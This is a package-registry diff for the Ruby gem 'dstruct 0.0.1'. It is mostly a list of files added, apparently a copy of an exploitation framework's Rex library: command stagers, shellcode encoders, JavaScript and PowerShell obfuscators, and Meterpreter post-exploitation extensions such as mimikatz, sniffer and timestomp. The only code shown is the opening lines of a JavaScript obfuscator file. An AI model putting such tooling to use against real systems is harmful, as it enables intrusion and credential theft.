dstruct 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +15 -0
- data/README.markdown +23 -0
- data/examples/smb_example.rb +35 -0
- data/lib/rex.rb +108 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +104 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/x86.rb +524 -0
- data/lib/rex/assembly/nasm.rb +104 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +389 -0
- data/lib/rex/constants.rb +124 -0
- data/lib/rex/elfparsey.rb +9 -0
- data/lib/rex/elfparsey/elf.rb +121 -0
- data/lib/rex/elfparsey/elfbase.rb +256 -0
- data/lib/rex/elfparsey/exceptions.rb +25 -0
- data/lib/rex/elfscan.rb +10 -0
- data/lib/rex/elfscan/scanner.rb +226 -0
- data/lib/rex/elfscan/search.rb +44 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +90 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +116 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +123 -0
- data/lib/rex/encoder/bloxor/bloxor.rb +327 -0
- data/lib/rex/encoder/ndr.rb +90 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +107 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exploitation/cmdstager.rb +10 -0
- data/lib/rex/exploitation/cmdstager/base.rb +190 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +140 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +134 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +71 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +126 -0
- data/lib/rex/exploitation/egghunter.rb +425 -0
- data/lib/rex/exploitation/encryptjs.rb +78 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +69 -0
- data/lib/rex/exploitation/js/memory.rb +81 -0
- data/lib/rex/exploitation/js/network.rb +84 -0
- data/lib/rex/exploitation/js/utils.rb +33 -0
- data/lib/rex/exploitation/jsobfu.rb +513 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/powershell.rb +62 -0
- data/lib/rex/exploitation/powershell/function.rb +63 -0
- data/lib/rex/exploitation/powershell/obfu.rb +98 -0
- data/lib/rex/exploitation/powershell/output.rb +151 -0
- data/lib/rex/exploitation/powershell/param.rb +23 -0
- data/lib/rex/exploitation/powershell/parser.rb +183 -0
- data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
- data/lib/rex/exploitation/powershell/script.rb +99 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/file.rb +160 -0
- data/lib/rex/image_source.rb +10 -0
- data/lib/rex/image_source/disk.rb +58 -0
- data/lib/rex/image_source/image_source.rb +44 -0
- data/lib/rex/image_source/memory.rb +35 -0
- data/lib/rex/io/bidirectional_pipe.rb +161 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/ring_buffer.rb +369 -0
- data/lib/rex/io/stream.rb +312 -0
- data/lib/rex/io/stream_abstraction.rb +209 -0
- data/lib/rex/io/stream_server.rb +221 -0
- data/lib/rex/job_container.rb +200 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +180 -0
- data/lib/rex/logging/log_sink.rb +43 -0
- data/lib/rex/logging/sinks/flatfile.rb +56 -0
- data/lib/rex/logging/sinks/stderr.rb +44 -0
- data/lib/rex/mac_oui.rb +16581 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +10 -0
- data/lib/rex/mime/encoding.rb +17 -0
- data/lib/rex/mime/header.rb +78 -0
- data/lib/rex/mime/message.rb +150 -0
- data/lib/rex/mime/part.rb +50 -0
- data/lib/rex/nop/opty2.rb +109 -0
- data/lib/rex/nop/opty2_tables.rb +301 -0
- data/lib/rex/ole.rb +202 -0
- data/lib/rex/ole/clsid.rb +44 -0
- data/lib/rex/ole/difat.rb +138 -0
- data/lib/rex/ole/directory.rb +228 -0
- data/lib/rex/ole/direntry.rb +237 -0
- data/lib/rex/ole/docs/dependencies.txt +8 -0
- data/lib/rex/ole/docs/references.txt +1 -0
- data/lib/rex/ole/fat.rb +96 -0
- data/lib/rex/ole/header.rb +201 -0
- data/lib/rex/ole/minifat.rb +74 -0
- data/lib/rex/ole/propset.rb +141 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +392 -0
- data/lib/rex/ole/stream.rb +50 -0
- data/lib/rex/ole/substorage.rb +46 -0
- data/lib/rex/ole/util.rb +154 -0
- data/lib/rex/parser/acunetix_nokogiri.rb +406 -0
- data/lib/rex/parser/apple_backup_manifestdb.rb +132 -0
- data/lib/rex/parser/appscan_nokogiri.rb +367 -0
- data/lib/rex/parser/arguments.rb +108 -0
- data/lib/rex/parser/burp_session_nokogiri.rb +291 -0
- data/lib/rex/parser/ci_nokogiri.rb +193 -0
- data/lib/rex/parser/foundstone_nokogiri.rb +342 -0
- data/lib/rex/parser/fusionvm_nokogiri.rb +109 -0
- data/lib/rex/parser/group_policy_preferences.rb +185 -0
- data/lib/rex/parser/ini.rb +186 -0
- data/lib/rex/parser/ip360_aspl_xml.rb +103 -0
- data/lib/rex/parser/ip360_xml.rb +98 -0
- data/lib/rex/parser/mbsa_nokogiri.rb +256 -0
- data/lib/rex/parser/nessus_xml.rb +121 -0
- data/lib/rex/parser/netsparker_xml.rb +109 -0
- data/lib/rex/parser/nexpose_raw_nokogiri.rb +686 -0
- data/lib/rex/parser/nexpose_simple_nokogiri.rb +330 -0
- data/lib/rex/parser/nexpose_xml.rb +172 -0
- data/lib/rex/parser/nmap_nokogiri.rb +394 -0
- data/lib/rex/parser/nmap_xml.rb +166 -0
- data/lib/rex/parser/nokogiri_doc_mixin.rb +233 -0
- data/lib/rex/parser/openvas_nokogiri.rb +172 -0
- data/lib/rex/parser/outpost24_nokogiri.rb +240 -0
- data/lib/rex/parser/retina_xml.rb +110 -0
- data/lib/rex/parser/unattend.rb +171 -0
- data/lib/rex/parser/wapiti_nokogiri.rb +105 -0
- data/lib/rex/payloads.rb +2 -0
- data/lib/rex/payloads/win32.rb +3 -0
- data/lib/rex/payloads/win32/common.rb +27 -0
- data/lib/rex/payloads/win32/kernel.rb +54 -0
- data/lib/rex/payloads/win32/kernel/common.rb +55 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +13 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +51 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +195 -0
- data/lib/rex/peparsey.rb +10 -0
- data/lib/rex/peparsey/exceptions.rb +30 -0
- data/lib/rex/peparsey/pe.rb +210 -0
- data/lib/rex/peparsey/pe_memdump.rb +61 -0
- data/lib/rex/peparsey/pebase.rb +1662 -0
- data/lib/rex/peparsey/section.rb +128 -0
- data/lib/rex/pescan.rb +11 -0
- data/lib/rex/pescan/analyze.rb +366 -0
- data/lib/rex/pescan/scanner.rb +230 -0
- data/lib/rex/pescan/search.rb +68 -0
- data/lib/rex/platforms.rb +2 -0
- data/lib/rex/platforms/windows.rb +52 -0
- data/lib/rex/poly.rb +134 -0
- data/lib/rex/poly/block.rb +480 -0
- data/lib/rex/poly/machine.rb +13 -0
- data/lib/rex/poly/machine/machine.rb +830 -0
- data/lib/rex/poly/machine/x86.rb +509 -0
- data/lib/rex/poly/register.rb +101 -0
- data/lib/rex/poly/register/x86.rb +41 -0
- data/lib/rex/post.rb +7 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +5 -0
- data/lib/rex/post/meterpreter/channel.rb +446 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +483 -0
- data/lib/rex/post/meterpreter/client_core.rb +352 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
- data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
- data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
- data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +22 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +43 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +109 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +29 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +117 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +396 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +284 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +399 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +256 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +67 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +209 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38146 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3852 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3170 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +87 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +613 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +388 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +111 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +149 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +515 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +319 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +23 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +301 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +676 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +96 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +151 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +60 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +408 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +328 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +188 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +236 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +259 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +201 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +709 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +543 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +142 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +86 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +939 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +109 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +242 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +232 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +97 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +52 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +133 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +204 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +66 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +527 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +448 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +906 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +318 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +343 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +99 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +15 -0
- data/lib/rex/proto/addp.rb +218 -0
- data/lib/rex/proto/dcerpc.rb +7 -0
- data/lib/rex/proto/dcerpc/client.rb +362 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +151 -0
- data/lib/rex/proto/dcerpc/handle.rb +48 -0
- data/lib/rex/proto/dcerpc/ndr.rb +73 -0
- data/lib/rex/proto/dcerpc/packet.rb +264 -0
- data/lib/rex/proto/dcerpc/response.rb +188 -0
- data/lib/rex/proto/dcerpc/uuid.rb +85 -0
- data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
- data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
- data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
- data/lib/rex/proto/dhcp.rb +7 -0
- data/lib/rex/proto/dhcp/constants.rb +34 -0
- data/lib/rex/proto/dhcp/server.rb +334 -0
- data/lib/rex/proto/drda.rb +6 -0
- data/lib/rex/proto/drda/constants.rb +50 -0
- data/lib/rex/proto/drda/packet.rb +253 -0
- data/lib/rex/proto/drda/utils.rb +124 -0
- data/lib/rex/proto/http.rb +7 -0
- data/lib/rex/proto/http/client.rb +722 -0
- data/lib/rex/proto/http/client_request.rb +472 -0
- data/lib/rex/proto/http/handler.rb +47 -0
- data/lib/rex/proto/http/handler/erb.rb +129 -0
- data/lib/rex/proto/http/handler/proc.rb +61 -0
- data/lib/rex/proto/http/header.rb +173 -0
- data/lib/rex/proto/http/packet.rb +414 -0
- data/lib/rex/proto/http/request.rb +354 -0
- data/lib/rex/proto/http/response.rb +151 -0
- data/lib/rex/proto/http/server.rb +385 -0
- data/lib/rex/proto/iax2.rb +2 -0
- data/lib/rex/proto/iax2/call.rb +326 -0
- data/lib/rex/proto/iax2/client.rb +218 -0
- data/lib/rex/proto/iax2/codecs.rb +5 -0
- data/lib/rex/proto/iax2/codecs/alaw.rb +16 -0
- data/lib/rex/proto/iax2/codecs/g711.rb +2176 -0
- data/lib/rex/proto/iax2/codecs/mulaw.rb +17 -0
- data/lib/rex/proto/iax2/constants.rb +262 -0
- data/lib/rex/proto/ipmi.rb +57 -0
- data/lib/rex/proto/ipmi/channel_auth_reply.rb +89 -0
- data/lib/rex/proto/ipmi/open_session_reply.rb +36 -0
- data/lib/rex/proto/ipmi/rakp2.rb +36 -0
- data/lib/rex/proto/ipmi/utils.rb +125 -0
- data/lib/rex/proto/natpmp.rb +7 -0
- data/lib/rex/proto/natpmp/constants.rb +19 -0
- data/lib/rex/proto/natpmp/packet.rb +45 -0
- data/lib/rex/proto/ntlm.rb +8 -0
- data/lib/rex/proto/ntlm/base.rb +327 -0
- data/lib/rex/proto/ntlm/constants.rb +75 -0
- data/lib/rex/proto/ntlm/crypt.rb +412 -0
- data/lib/rex/proto/ntlm/exceptions.rb +17 -0
- data/lib/rex/proto/ntlm/message.rb +534 -0
- data/lib/rex/proto/ntlm/utils.rb +765 -0
- data/lib/rex/proto/ntp.rb +3 -0
- data/lib/rex/proto/ntp/constants.rb +12 -0
- data/lib/rex/proto/ntp/modes.rb +130 -0
- data/lib/rex/proto/pjl.rb +31 -0
- data/lib/rex/proto/pjl/client.rb +163 -0
- data/lib/rex/proto/proxy/socks4a.rb +441 -0
- data/lib/rex/proto/rfb.rb +13 -0
- data/lib/rex/proto/rfb/cipher.rb +82 -0
- data/lib/rex/proto/rfb/client.rb +205 -0
- data/lib/rex/proto/rfb/constants.rb +50 -0
- data/lib/rex/proto/sip.rb +4 -0
- data/lib/rex/proto/sip/response.rb +61 -0
- data/lib/rex/proto/smb.rb +8 -0
- data/lib/rex/proto/smb/client.rb +2064 -0
- data/lib/rex/proto/smb/constants.rb +1064 -0
- data/lib/rex/proto/smb/crypt.rb +37 -0
- data/lib/rex/proto/smb/evasions.rb +67 -0
- data/lib/rex/proto/smb/exceptions.rb +867 -0
- data/lib/rex/proto/smb/simpleclient.rb +173 -0
- data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
- data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
- data/lib/rex/proto/smb/utils.rb +104 -0
- data/lib/rex/proto/sunrpc.rb +2 -0
- data/lib/rex/proto/sunrpc/client.rb +196 -0
- data/lib/rex/proto/tftp.rb +13 -0
- data/lib/rex/proto/tftp/client.rb +344 -0
- data/lib/rex/proto/tftp/constants.rb +39 -0
- data/lib/rex/proto/tftp/server.rb +497 -0
- data/lib/rex/random_identifier_generator.rb +177 -0
- data/lib/rex/registry.rb +14 -0
- data/lib/rex/registry/hive.rb +132 -0
- data/lib/rex/registry/lfkey.rb +51 -0
- data/lib/rex/registry/nodekey.rb +54 -0
- data/lib/rex/registry/regf.rb +25 -0
- data/lib/rex/registry/valuekey.rb +67 -0
- data/lib/rex/registry/valuelist.rb +29 -0
- data/lib/rex/ropbuilder.rb +8 -0
- data/lib/rex/ropbuilder/rop.rb +271 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +61 -0
- data/lib/rex/script/meterpreter.rb +16 -0
- data/lib/rex/script/shell.rb +10 -0
- data/lib/rex/service.rb +49 -0
- data/lib/rex/service_manager.rb +154 -0
- data/lib/rex/services/local_relay.rb +424 -0
- data/lib/rex/socket.rb +788 -0
- data/lib/rex/socket/comm.rb +120 -0
- data/lib/rex/socket/comm/local.rb +526 -0
- data/lib/rex/socket/ip.rb +132 -0
- data/lib/rex/socket/parameters.rb +363 -0
- data/lib/rex/socket/range_walker.rb +470 -0
- data/lib/rex/socket/ssl_tcp.rb +345 -0
- data/lib/rex/socket/ssl_tcp_server.rb +188 -0
- data/lib/rex/socket/subnet_walker.rb +76 -0
- data/lib/rex/socket/switch_board.rb +289 -0
- data/lib/rex/socket/tcp.rb +79 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/udp.rb +165 -0
- data/lib/rex/sslscan/result.rb +201 -0
- data/lib/rex/sslscan/scanner.rb +206 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +85 -0
- data/lib/rex/sync/read_write_lock.rb +177 -0
- data/lib/rex/sync/ref.rb +58 -0
- data/lib/rex/sync/thread_safe.rb +83 -0
- data/lib/rex/text.rb +1813 -0
- data/lib/rex/thread_factory.rb +43 -0
- data/lib/rex/time.rb +66 -0
- data/lib/rex/transformer.rb +116 -0
- data/lib/rex/ui.rb +22 -0
- data/lib/rex/ui/interactive.rb +304 -0
- data/lib/rex/ui/output.rb +85 -0
- data/lib/rex/ui/output/none.rb +19 -0
- data/lib/rex/ui/progress_tracker.rb +97 -0
- data/lib/rex/ui/subscriber.rb +160 -0
- data/lib/rex/ui/text/color.rb +98 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
- data/lib/rex/ui/text/input.rb +119 -0
- data/lib/rex/ui/text/input/buffer.rb +79 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +96 -0
- data/lib/rex/ui/text/input/stdio.rb +46 -0
- data/lib/rex/ui/text/irb_shell.rb +62 -0
- data/lib/rex/ui/text/output.rb +86 -0
- data/lib/rex/ui/text/output/buffer.rb +62 -0
- data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
- data/lib/rex/ui/text/output/file.rb +44 -0
- data/lib/rex/ui/text/output/socket.rb +44 -0
- data/lib/rex/ui/text/output/stdio.rb +53 -0
- data/lib/rex/ui/text/output/tee.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb +57 -0
- data/lib/rex/ui/text/shell.rb +403 -0
- data/lib/rex/ui/text/table.rb +346 -0
- data/lib/rex/zip.rb +96 -0
- data/lib/rex/zip/archive.rb +130 -0
- data/lib/rex/zip/blocks.rb +184 -0
- data/lib/rex/zip/entry.rb +122 -0
- data/lib/rex/zip/jar.rb +283 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +536 -0
|
@@ -0,0 +1,336 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'rex/text'
|
|
3
|
+
module Rex
|
|
4
|
+
module Exploitation
|
|
5
|
+
|
|
6
|
+
#
|
|
7
|
+
# Obfuscates javascript in various ways
|
|
8
|
+
#
|
|
9
|
+
class ObfuscateJS
|
|
10
